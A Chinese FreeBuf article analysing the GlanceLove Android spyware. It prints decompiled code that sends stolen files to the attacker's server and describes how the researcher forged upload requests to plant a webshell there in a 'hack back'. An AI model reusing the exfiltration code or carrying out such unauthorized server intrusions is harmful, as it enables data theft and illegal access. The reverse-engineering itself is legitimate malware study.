freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

看我如何回怼手机黑客?黑回去!
2018-08-07 07:30:44

看我如何回怼手机黑客?黑回去!本文中,以色列研究者通过反编译恶意APK应用GlanceLove,向攻击者服务器上传了webshell,实现了Hack Back(黑回去)。

某天晚上,我躺在沙发上,偶然看到论坛中有人披露了一个由某黑客组织专门开发的恶意安卓应用APK,这些恶意APK是如何被发现的呢?我看了一下,其实也不难,黑客用一些性感女孩的照片创建了一个假Facebook账户,然后就用这个账户在网上和一些以色列男孩(受害者)聊天,并告诉这些男孩必须要去下载安装那个APK才能和她视频聊天。然而,当受害者男孩们下载安装这个APK之后,之前与他们聊天的辣妹就无故消失了。我从某则论坛中得知这个恶意APK名叫 - GlanceLove。

世界杯期间,以色列网络安全公司 ClearSky Security 曾发布报告称,伊斯兰恐怖组织哈马斯试图通过包括GlanceLove在内的约会类APP诱骗以色列国防军安装受恶意软件感染的间谍软件。另外,以色列国防军也确认哈马斯组织在以色列士兵的智能手机上植入了名为 GlanceLove 的间谍软件进行信息收集,而且该APK应用曾被上传到了Google Play商店(后已被谷歌下架删除)。

看我如何回怼手机黑客?黑回去!技术分析

找到apk并下载后,我使用JDAX对其进行了反编译。我假设它使用HTTP协议来窃取数据,所以我做的第一件事是搜索 “HTTP” 字符串。

搜索结果显示,该APK使用了 “HttpURLConnection” 类,HttpURLconnection是基于http协议的,支持get,post,put,delete等各种请求方式。因此我非常确定其使用了一个web服务器来收集存储数据,但我却没看到它请求的这个web服务器相关的URL字符串,所以还需继续分析代码。使用 “HttpURLConnection” 类的函数名称为m7665a:

 public static String m7665a(String str, byte[] bArr) {
        String str2;
        Throwable th;
        HttpURLConnection httpURLConnection = null;
        try {
            HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(str).openConnection();
            try {
                httpURLConnection2.setRequestMethod(f5386b);
                httpURLConnection2.setRequestProperty(f5387c, f5388d);
                httpURLConnection2.setUseCaches(false);
                httpURLConnection2.setDoInput(true);
                httpURLConnection2.setDoOutput(true);
                DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection2.getOutputStream());
                dataOutputStream.write(bArr);
                dataOutputStream.flush();
                dataOutputStream.close();
                ...
                ...
}

这个函数调用了两个参数,其中str代表回调请求web服务器的URL,bArr代表发送到web服务器的数据。还可以看到,请求方法定义在了变量f5386b中,而请求属性则定义在了变量f5387c 和 f5388d中:

private static final String f5386b = C1559l.m7683a(new C1552g[]{C1552g.P, C1552g.O, C1552g.S, C1552g.T});
private static final String f5387c = C1559l.m7683a(new C1552g[]{C1552g.C, C1552g.o, C1552g.n, C1552g.t, C1552g.e, C1552g.n, C1552g.t}).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.T, C1552g.y, C1552g.p, C1552g.e}));
private static final String f5388d = C1559l.m7683a(new C1552g[]{C1552g.a, C1552g.p, C1552g.p, C1552g.l, C1552g.i, C1552g.c, C1552g.a, C1552g.t, C1552g.i, C1552g.o, C1552g.n})M.concat("/x").concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.w, C1552g.w, C1552g.w})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.f, C1552g.o, C1552g.r, C1552g.m})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.u, C1552g.r, C1552g.l, C1552g.e, C1552g.n, C1552g.c, C1552g.o, C1552g.d, C1552g.e, C1552g.d}));

攻击者使用了工具ProGuard来对字符串和函数名进行了混淆,所以前述的我找不到任何URL字符串的原因就在于此。ProGuard是一个压缩、优化和混淆Java字节码文件的免费的工具,它可以删除无用的类、字段、方法和属性。解码之后,可以看到,其中包含了以下信息:

private static final String f5386b = "POST"
private static final String f5387c = "Content-Type"
private static final String f5388d = "Application/x-www-form-urlencoded"

接着,我检查了有哪些函数间接调用了 “HttpURLConnection” 类函数m7665a,结果是这样的:

private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
public static String m7489b() {
    return f5199j + C1489a.m7487a() + f5201l;
}
public static String m7487a() {
    C1545b c1545b = new C1545b(f5203n.getFilesDir().getAbsolutePath(), f5202m);
    if (c1545b.exists()) {
        String str = new String(c1545b.m7647a());
        if (!(str == null || str.isEmpty())) {
            return str;
        }
    }
    return f5204o;
}

经过分析,我发现,函数m7672b在函数m7489b中定义URL链接时调用了函数m7665a,而在m7487a函数中,在末尾它返回了包含URL链接的f5204o。解码之后,该APK请求的远程服务器URL链接为:

HTTP://WWW.GLANCELOVE.COM/APPS/d/p/OP.PHP

另外,除了解码之后看到的APK内置连接请求URL链接,我还发现了很多其它有用的字符串:

public static final String f5190a = ".ZIP"
public static final String f5191b = ".DATA"
public static final String f5192c = ".APK"
public static final byte[] f5193d = "A".getBytes();
public static final byte[] f5194e = "B".getBytes();
public static final byte[] f5195f = "F".getBytes();
public static final byte[] f5196g = "CCC".getBytes();
public static final byte[] f5197h = "D".getBytes();
public static final byte[] f5198i = "E".getBytes();
public static final String f5199j = "HTTP://"
public static final String f5200k = "TCP://";
public static final String f5201l = "/APPS/d/p/OP.PHP"
public static final String f5202m = "IP.TXT"
private static Context f5203n = App.m7476a();
private static String f5204o = "WWW.GLANCELOVE.COM"
private static byte[] f5394b = "devId="
private static byte[] f5395c = "&op="
private static byte[] f5396d = "&fName="
private static byte[] f5397e = "&data="
private static String f5398f = "true"

从以上信息中可知,我可以利用参数 devId、op、fName和data来构造一个发往攻击控制服务器WWW.GLANCELOVE.COM的POST请求,其中参数devId、op和fName的值都比较好猜,但是参数data我就不知道是什么了。所以,我又从以下反编译代码中进行了分析:

private static byte[] m7671a(File file, byte[] bArr) {
    ...
    Object obj = new byte[(((((f5394b.length + a2.length) + f5396d.length) + a.length) + f5395c.length) + bArr.length)];
    ...
    System.arraycopy(bArr, 0, obj, (a.length + ((a2.length + f5394b.length) + f5396d.length)) + f5395c.length, bArr.length);
}
public static int m7668a(File file) {
    ...
    Object a = C1551f.m7671a(file, C1489a.f5196g);
    ...
}
private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
private static long m7674c(File file) {
        ...
        return Long.parseLong(C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5197h)).trim());
}

在函数m7671a中,它利用值分别为 “CCC”、“E” 和 “D”的三个函数m7668a、m7672b 和 m7674c来创建了参数 op 的 id值。

虽然我不知道所有这些参数值代表的确切意义,但我还是尝试着构造了一个发往WWW.GLANCELOVE.COM的POST请求,该请求Payload为:

devId=123123&op=CCC&fName=123&data=abc

该POST请求应该已经成功发送了,在响应中,除返回了payload的长度38这外,没有其它有用信息,因此,我还得找到我具体的上传文件路径,这真是难找啊。经过几次有根据的猜测,我发现了那个上传文件的最终路径是/apps/d/uploads/dev/123123/123。

由此方法,我接着上传了一个webshell过去,发现这个恶意APK竟然已经控制了500多部智能手机,并且窃取超过10G的数据。

*参考来源:asaf ,clouds 编译,转载请注明来自 FreeBuf.COM     

# 手机黑客 # hack back
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者